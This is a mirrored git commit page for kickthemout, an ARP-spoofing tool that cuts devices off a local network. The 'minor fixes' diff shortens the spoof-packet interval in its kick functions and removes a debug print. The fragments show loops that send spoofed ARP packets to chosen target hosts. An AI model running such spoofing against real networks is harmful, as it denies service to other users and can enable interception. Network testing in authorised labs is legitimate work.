mirror of
https://github.com/k4m4/kickthemout.git
synced 2024-11-22 13:04:25 +01:00
minor fixes
This commit is contained in:
parent
271f2af93e
commit
93cd437f15
@ -101,7 +101,7 @@ def kickoneoff(): # TODO: do not allow only one device!!
|
|||||||
try:
|
try:
|
||||||
while True:
|
while True:
|
||||||
spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, one_target_ip, one_target_mac)
|
spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, one_target_ip, one_target_mac)
|
||||||
time.sleep(15)
|
time.sleep(10)
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
print("\n{0}Re-arping{1} target...{2}").format(RED, GREEN, END)
|
print("\n{0}Re-arping{1} target...{2}").format(RED, GREEN, END)
|
||||||
reArp = 1
|
reArp = 1
|
||||||
@ -160,7 +160,7 @@ def kicksomeoff():
|
|||||||
for host in hostsList:
|
for host in hostsList:
|
||||||
if host[0] == ip:
|
if host[0] == ip:
|
||||||
spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1])
|
spoof.sendPacket(defaultInterfaceMac, defaultGatewayIP, host[0], host[1])
|
||||||
time.sleep(15)
|
time.sleep(10)
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
|
print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
|
||||||
reArp = 1
|
reArp = 1
|
||||||
@ -189,8 +189,6 @@ def kickalloff():
|
|||||||
vendor = resolveMac(mac)
|
vendor = resolveMac(mac)
|
||||||
print(str(" {0}"+ str(onlineIPs[i]) + "{1}\t" + vendor + "{2}").format(RED, GREEN, END))
|
print(str(" {0}"+ str(onlineIPs[i]) + "{1}\t" + vendor + "{2}").format(RED, GREEN, END))
|
||||||
|
|
||||||
print("\n{0}Targets: {1}" + ', '.join(onlineIPs)).format(GREEN, END) # {TESTING}
|
|
||||||
|
|
||||||
print("\n{0}Spoofing started... {1}\n").format(GREEN, END)
|
print("\n{0}Spoofing started... {1}\n").format(GREEN, END)
|
||||||
try:
|
try:
|
||||||
reScan = 0
|
reScan = 0
|
||||||
@ -202,7 +200,7 @@ def kickalloff():
|
|||||||
if reScan == 4:
|
if reScan == 4:
|
||||||
reScan = 0
|
reScan = 0
|
||||||
scanNetwork()
|
scanNetwork()
|
||||||
time.sleep(15)
|
time.sleep(10)
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
|
print("\n{0}Re-arping{1} targets...{2}").format(RED, GREEN, END)
|
||||||
reArp = 1
|
reArp = 1
|
||||||
|
Loading…
Reference in New Issue
Block a user